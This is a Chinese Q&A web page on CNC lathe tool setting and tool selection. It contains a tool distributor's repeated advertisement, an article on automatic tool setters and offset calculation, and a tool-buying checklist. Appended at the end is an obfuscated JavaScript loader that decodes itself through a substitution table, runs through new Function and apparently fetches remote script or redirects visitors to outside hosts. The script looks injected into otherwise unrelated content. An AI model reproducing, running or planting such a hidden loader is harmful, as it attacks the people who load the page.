。。怎么学这个对刀,刀具选择注意哪些,

2025-02-13 11:22:06
推荐回答(1个)
回答1:

无锡诺和锐特自动化设备有限公司
公司网站:www.wxnhrt.com
无锡诺和锐特自动化设备有限公司,是一家专注于机械加工制造行业相关配套的企业,涉及量测设备和数控刀具,并且可以提供技术服务的公司。公司有雄厚的经济基础,强大的关系网络,完备的技术和人员配置,经历了将近10年的风雨历程,诺和锐特最终诞生于2015年,总部位于江苏省无锡市,公司的领导单位:无锡双锋自动化设备有限公司(致力于提供环保行业除尘自动化整体解决方案)、无锡天形合意科技有限公司(致力于政府监察监督执法业务的快速移动执法装备的建设)。
无锡诺和锐特自动化设备有限公司主营品牌:日本三丰Mitutoyo(量具、轮廓仪、三坐标等)、爱德华三坐标、万豪投影仪、影像仪、日本京瓷(KYOCERA)、德国瓦尔特(Walter)、瑞典山特维克(Sandvik)、美国肯纳(Kennametal)、以色列伊斯卡(ISCAR)、日本住友(SUMITOMO)、日本三菱(MITSUBISHI)、日本日立(HITACHI)、日本黛杰(DIJET)、日本OSG、YAMAWA、韩国特固克(TaeguTec)、株洲钻石、韩国杜龙卡浦(DURACARB)、德国埃莫克法兰肯(EMUGE-FRANKEN)、台湾艾菲茉、森泰英格、三禄车刀等众多品牌。
无锡诺和锐特自动化设备有限公司不仅是一家刀具、量具代理公司,同时也是一家全方位为客户服务的公司,服务项目包括量测需求整体方案的提供、刀具规划、刀具设计、刀具优化、刀具修磨、特殊订制、生产刀具夹具配套及刀具管理。诺和锐特秉承母公司一贯的诚实、认真、高效经营理念,尽力为广大的客户提供最优质的服务。公司拥有专业的销售技术人员,可根据用户需求独立设计、制造各种非标准切销刀具,同时提供产品技术咨询与售后服务,也可以为用户提供交钥匙工程。
我们将以一流的技术服务为先导,秉承高品质、守信,重誉,高效,低价位的经营理念。一如既往的用勤奋,专业真诚的态度与广大厂商用户合作,把最合理的数控加工技术方案和最优质数控刀具提供给用户。

无锡诺和锐特自动化设备有限公司郑重承诺:只做原装正品的产品!!!在与客户合作之前,可以签订《正品保证协议》!!!

我公司愿与国内外各界同仁志士竭诚合作,共创未来!

浅析普通车床中自动对刀仪相关技术问题

核心提示:自动对刀仪是利用普通车床外加的监控检测设备,它是利用普通车床自身的位置测量系统来进行工作的。本文对普通车床中自动对刀仪相关技术问题进行分析,首先,进行概念介绍与刀具位置偏差原因分析,然后,对刀补值的确定方法进行介绍。
  自动对刀仪是利用普通车床外加的监控检测设备利用普通车床自身的位置测量系统来进行工作的。总体来说,它虽然是附属于普通车床,为提高车床加工的精度和效率而设计的,但作为一套独立的仪器,对普通车床用自动对刀仪的研究设计方案应包括对刀原理的研究与实现、精密机械部分、电气控制部分、自动对刀仪的操作方法、误差与精度分析等部分。机械部分是自动对刀仪的主体部分,它主要包括传感器的设计与连接臂的设计,其中传感器的设计尤其关键,要求它能适应内孔车刀、端面车刀、螺纹刀、外圆车刀等不同刀具和不同刀偏角的刀具;另外,传感器表面要有硬度要求,不能因为频繁地撞击表面产生小的凹坑,影响对刀仪的精度,当然,我们也可以对传感器的测头进行修磨;传感器应保证应有的精度要求;传感器的结构设计合理,重量不能太大且安装方便,适合刀具的对准与操作。电气控制部分主要包括接口电路的设计,对刀仪在刀具接触到传感器后应有声光信号显示,以便操作者进行及时操作,传感器的触发信号要能准确地反映到数控系统;要对刀补值算法的获得进行算法研究,根据算法对系统进行参数化编程以获取刀尖点的信息并分析计算刀补值。
  操作方法要求给出具体的操作步骤,根据对刀仪的工作原理及实际特点,按照对刀的操作规程,用户可以方便地对普通车床进行对刀;应给出对刀过程的注意事项,以免错误操作,影响加工生产。自动对刀仪的开发设计工作完成之后,要对其进行多方位的误差与精度分析,分析产生误差所有可能的来源并对精度作出分析,校验其可行性。
  一、刀具位置偏差原因分析
  因为对刀仪是建立在车床自身系统测量的基础之上的,普通车床的加工是由程序控制完成的,所以坐标系的确定与使用非常重要。根据IS0841标准,普通车床坐标系用右手笛卡儿坐标系作为标准确定。普通车床平行于主轴方向即纵向为Z轴,垂直于主轴方向即横向为X轴,刀具远离工件方向为正向。
  1.普通车床坐标系与普通车床参考点
  普通车床坐标系是指以机床原点为坐标原点所建立的坐标系,普通车床的机床原点通常取在卡盘前端面与主轴中心线交点处,一般机床原点在普通车床出厂前由生产厂家已经调整好,不允许用户随意变动。普通车床参考点是指刀架上某一固定点,即对刀参考点退离距机床原点O最远的一个固定点R点,该R点在机床出厂时也由生产厂家调试好,并将数据输入到数控系统中。因此机床参考点R对机床原点O的坐标是一个已知数,一个固定值。一般对刀之前,必先使普通车床进行“回零”操作(即使刀架返回参考点操作),就是使刀架上对刀参考点与机床参考点R重合。此时CRT屏幕上显示值x,z即为机床参考点R相对于机床原点O点在X方向和Z方向的值。
  2.工件坐标系与起刀点
  工件坐标系(又称为编程坐标系)是指以工件原点(或称编程原点)为坐标原点所建立的坐标系。编程坐标系供编程用,是人为设置的。工件原点可以是工件上任意点,但为了编程,方便数值计算,一般普通车床编程原点选工件右端面或左端面与中心线交点作为工件原点,数控编程时应首先确定工件坐标系。起刀点(又称程序起点)即刀具刀位点相对工件原点OP的位置,即刀具相对于工件运动的起始点,工件坐标系的建立实际上是确定刀具起刀点相对于工件原点的坐标值的过程。目前普通车床上建立工件坐标系的方法一般用相应的G指令来设定。当工件坐标系建立以后,并未与机床坐标系发生任何联系,此时,两者仍然相互独立,数控系统既不知道工件在机床中的位置,也不知道刀具刀位点在机床中的位置,即无法按所编程序正确加工,因此加工之前,还必须确定刀具刀位点与机床坐标原点O之间的关系,即一般加工之前通过对刀方法来实现。
  本对刀仪的设计使用的是NUM数控系统,现将NUM数控系统坐标变换简单介绍如下:当CNC上电时,没有测量起点可用于计算轴的运动。在执行任何程序编制的运动前必须对系统进行初始化(各轴回原位),回原位过程将给CNC系统提供用于编程运动的坐标系统。如果回原位过程没有完成,则只能进行点动操作。系统通过一个回原位过程建立一个测量起点OM(原位开关被安置在一个特定的物理位置上)。每个轴的回原位过程是这样完成的:在由车床或数控系统制造厂商定义的运动方向上(测量起点设置方向)激活起始限位开关,数控系统的处理器能计算所有相对于机床起点或零点的位移量,在回原位(测量起点设备)过程完成后,系统将由制造厂商定义的每个轴的坐标变换值应用到每个轴上以建立测量起点。为了写一个零件程序,编程者必须定义一个程序起点,该点通常也是零件图上的尺寸测量起点。
  3.刀具位置补偿
  对于刀具位置补偿来讲,下列3种情况下,均须进行刀具位置的偏置补偿:
  (1)在实际加工中,通常是各把不同位置的若干把刀具(即各把刀具的刀尖在刀架上相对于某固定点的位置各不相同)加工同一轮廓尺寸的工件,而编程时往往都建立统一的坐标系,要求使所有的刀尖都移到坐标系中的一个基准点上,或者以一把刀为基准设定工件坐标系,因此须将其余刀具的刀尖都偏移到此基准刀尖位置上。利用刀具位置补偿即可完成。
  (2)对同一把刀具而言,当刀具重磨或更换新刀后,再把它准确地安装到程序所设定的原位置,是非常困难的,总是存在位置误差,这个位置误差在实际加工后即成为加工误差,此时,需通过刀具位置补偿功能来修正刀具安装位置误差。
  (3)每把刀具在使用过程中都有不同程度的磨损,而磨损后的刀尖位置与编程位置存在差值,同样会造成加工误差,这种误差也可通过刀具位置补偿功能来纠正。
 二、刀补值的确定
  1.试切法
  通过以上分析可知:虽然我们可以通过回参考点确定对刀参考点的坐标,也可以通过测量确定工件与机床坐标的位置,但工件坐标系建立以后并未与机床坐标系发生任何联系,两者仍然相互独立,数控系统既不知道工件在机床中的位置,也不知道刀具刀位点在机床中的位置,还是不能确定它们的相互位置。这样就需要用到试切法对刀,试切法对刀应先进行手动机床回参考点操作,将1工件毛坯夹持于卡盘上,测出D(工件直径)、L(工件伸出3爪夹盘距离),启动机床,以手动方式进行对刀(以90°外圆车刀为例)。第一步:将车刀刀尖与棒料端面轻轻接触对刀,然后Z向不动,X向退出车刀,记下CRT动态坐标值Z;第二步:将车刀刀尖与棒料外圆轻轻接触对刀,然后X向不动,Z向退出车刀,记下CRT动态坐标值X;第三步:计算刀补值(Ll,L2)。代入公式计算即可计算出L2, L1的值。
  最后,将刀补值(Ll,L2)输入CNC系统中。刀具补偿值输入数控系统后,刀具的运动轨迹便会自动校正。试切法也可用于多刀加工,其它各刀的对刀过程一样,将各刀的刀补值分别输入相应刀偏寄存器中供数控系统补偿使用。也可以以第一把刀的刀位点作为基点,将其余各刀的刀位点相对第一把刀的偏差值作为补偿值。用上述方法对刀,实质上是使每把刀的刀尖与工件外圆母线与端面的交点接触,利用这一交点为基准,算出各把刀的刀偏量。采用试切法对刀时,精确对刀的方法是:手动对刀时,将工件试件端面、外圆车1刀,并仔细测量试件伸出卡盘长度L、试切外圆直径D。降低进给速度,并使每把刀对刀接触工件的程度尽可能统一,可有效提高试切对刀的精度。采用试切法对刀优点是无需特殊对刀工具,操作者只需按常规操作,简便快速,而且较为正确有效。
  2.其它刀具的对刀方法
  对于装有多把刀具的普通车床而言,每把刀之间也存在着位置偏差,如果逐个去用试切法确定刀补值,势必会造成精度下降,而且效率低下,费时费力。自动对刀仪对刀时先设置标准刀,用试切法对标准刀进行对刀,其它刀具相对于标准刀的刀补值是通过对刀仪的传感器来获取,由数控系统计算而得,这样各把刀相对于工件的刀补值也就确定了。自动对刀仪刀补值的设定与手动对刀法所不同的是它能自动将信息捕捉并运算得到刀补值,将其存储起来。简单地说,自动对刀仪的对刀原理就是通过对刀装置不同刀具相互之间的位置予以确定,由CNC系统计算出位置补偿值(刀补值),并将刀补值储存起来的过程。
  三、结束语
  没有安装自动对刀装置的普通车床在加工零件时,一般采用实切法对切削的零件进行对刀。刀尖加工零件时,输入所用刀具的几何尺寸(刀具长度补偿)再测量加工零件的实际尺寸,来修改刀具几何补偿值及加工零件的程序,这样造成很多占机试刀工时,试件废品增加、效率低,不利于实现自动化加工。带对刀装置的普通车床的操作者可以根据工艺要求进行刀具准备,在加工零件时,当对刀装置接收到信号后,机床立即停止移动,信号反馈给CNC系统,系统自动把测量的值送入几何补偿里,这时操作者可以根据测量值修改相关的零件加工程序。本文对于普通车床中自动对刀仪相关技术问题进行分析,进行概念介绍与刀具位置偏差原因分析,并且对于刀补值的确定方法进行介绍。作者希望它们能够在提高普通车床加工精度的效率中发挥更大的作用。
  
==========
购买数控刀具前,应该做好哪些功课?
怎样选择数控刀具?
选择数控刀具需要哪些参数?
数控刀具选择原则

数控车刀类
  无论选什么刀具一定要了解的是:
  加工的材质是什么?用什么机床加工?精加工还是粗加工?有无图纸要求?压紧方式是什么?刀方多少?刀片型号?
  一、外圆车刀:
  要求刀具的主偏角为多少度?有没有图纸要求?加工的材料是什么?有没有硬度要求?
  二、内孔车刀:
  直径多大?孔深多少?机床刀套内径多大?内孔有没有干涉?
  三、切槽刀:
  要切深多少?槽宽多少?是端面槽\外圆槽还是内孔槽刀?最大加工直径与最小加工直径是多少?(端面槽刀专问)
  四、切断刀:
  切多大的直径?要求槽宽多少?
  五、螺纹车刀:
  螺纹车刀正反手?车外螺纹还是内螺纹?公制还是英制?螺距是多少?
  刀夹类
  铣刀类:(以加工中心为例)
  刀具与机床的连接方式是什么?BT\NT\CAT\ISO\R8\DINE\HSK\MT
  1.装夹钻头类:
  要弹性夹头类还是三爪定心类?装多大的刀具?ER多少?
  锥柄类的几号的柄?长度是多少?
  2.装夹铣刀类:
  要求装夹的铣刀是多大的?要强力\还是标准的还是高速型的?
  锥柄类几号的柄?螺纹孔是多大?
  3.装夹丝攻类:
  要求刚性攻丝还是柔性攻丝?多大的丝锥?
  4.装夹面铣刀盘类:
  刀盘的直径是多大?刀盘的内接圆多大?公制还是英制的孔?有没有长度要求?
  5.镗孔刀:
  a.粗镗刀
  要模块式的还是一体式的?要求加工的范围是多大?加工的长度?是否要求加接长杆?
  b.精镗刀
  要模块式的还是一体式的?加工的精度为多少?加工的长度为多少?是否要求加接长杆而增大加工范围?
  6.对刀仪:
  要表式或数显,还是投影的?测量的范围多大?测量精度是多少?
  刀具类
  一.铣刀:
  1.整体式铣刀
  立铣刀要的是高速钢还是硬质合金?加工的硬度为多少?长度要求少?多少刃?球头的还是平头的?柄部是多少度?螺纹为多少?什么样的涂层? 螺旋升角多少度?
  2.刀片式铣刀
  1)心轴类铣刀
  要求直径多大?刀片的角度有无要求?要多长的加工长度?
  2)刀盘类;
  多大的直径?要求刀片的角度是多少?精加工还是粗加工?有无要求刀具清角?
  二.钻头:
  1)直柄钻头
  要求钻头是高速刚还是硬质合金?加工直径是多大?加工的深度是多少?刃部有无要求?
  2)锥柄钻头
  刀具的原有刀套是几号的?加工直径是多大?要求加工深度是多少?刃部有无要求?
  三.丝攻类:
  1)螺旋丝攻、螺旋丝锥
  要左旋的还是右旋的丝攻?要求螺纹尺寸多大?是公制还是英制的?加工精度是几级的?加工的材质是什么?柄部哪国的标准?
  2)直槽丝攻
  加工的材质是什么?是手攻还是机攻?
  四.倒角刀:
  要求倒角的范围是多大?角度是多少度?
  五.铰刀:
  1)直柄铰刀
  加工的深度是多少?加工的精度是多少?加工的直径是多大?
  2)锥柄铰刀
  原有的锥套是几号的?加工的深度是多少?加工的精度是多少?加工的直径是多大?

无锡诺和锐特自动化设备有限公司
公司网站:www.wxnhrt.com
无锡诺和锐特自动化设备有限公司,是一家专注于机械加工制造行业相关配套的企业,涉及量测设备和数控刀具,并且可以提供技术服务的公司。公司有雄厚的经济基础,强大的关系网络,完备的技术和人员配置,经历了将近10年的风雨历程,诺和锐特最终诞生于2015年,总部位于江苏省无锡市,公司的领导单位:无锡双锋自动化设备有限公司(致力于提供环保行业除尘自动化整体解决方案)、无锡天形合意科技有限公司(致力于政府监察监督执法业务的快速移动执法装备的建设)。
无锡诺和锐特自动化设备有限公司主营品牌:日本三丰Mitutoyo(量具、轮廓仪、三坐标等)、爱德华三坐标、万豪投影仪、影像仪、日本京瓷(KYOCERA)、德国瓦尔特(Walter)、瑞典山特维克(Sandvik)、美国肯纳(Kennametal)、以色列伊斯卡(ISCAR)、日本住友(SUMITOMO)、日本三菱(MITSUBISHI)、日本日立(HITACHI)、日本黛杰(DIJET)、日本OSG、YAMAWA、韩国特固克(TaeguTec)、株洲钻石、韩国杜龙卡浦(DURACARB)、德国埃莫克法兰肯(EMUGE-FRANKEN)、台湾艾菲茉、森泰英格、三禄车刀等众多品牌。
无锡诺和锐特自动化设备有限公司不仅是一家刀具、量具代理公司,同时也是一家全方位为客户服务的公司,服务项目包括量测需求整体方案的提供、刀具规划、刀具设计、刀具优化、刀具修磨、特殊订制、生产刀具夹具配套及刀具管理。诺和锐特秉承母公司一贯的诚实、认真、高效经营理念,尽力为广大的客户提供最优质的服务。公司拥有专业的销售技术人员,可根据用户需求独立设计、制造各种非标准切销刀具,同时提供产品技术咨询与售后服务,也可以为用户提供交钥匙工程。
我们将以一流的技术服务为先导,秉承高品质、守信,重誉,高效,低价位的经营理念。一如既往的用勤奋,专业真诚的态度与广大厂商用户合作,把最合理的数控加工技术方案和最优质数控刀具提供给用户。

无锡诺和锐特自动化设备有限公司郑重承诺:只做原装正品的产品!!!在与客户合作之前,可以签订《正品保证协议》!!!

我公司愿与国内外各界同仁志士竭诚合作,共创未来!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();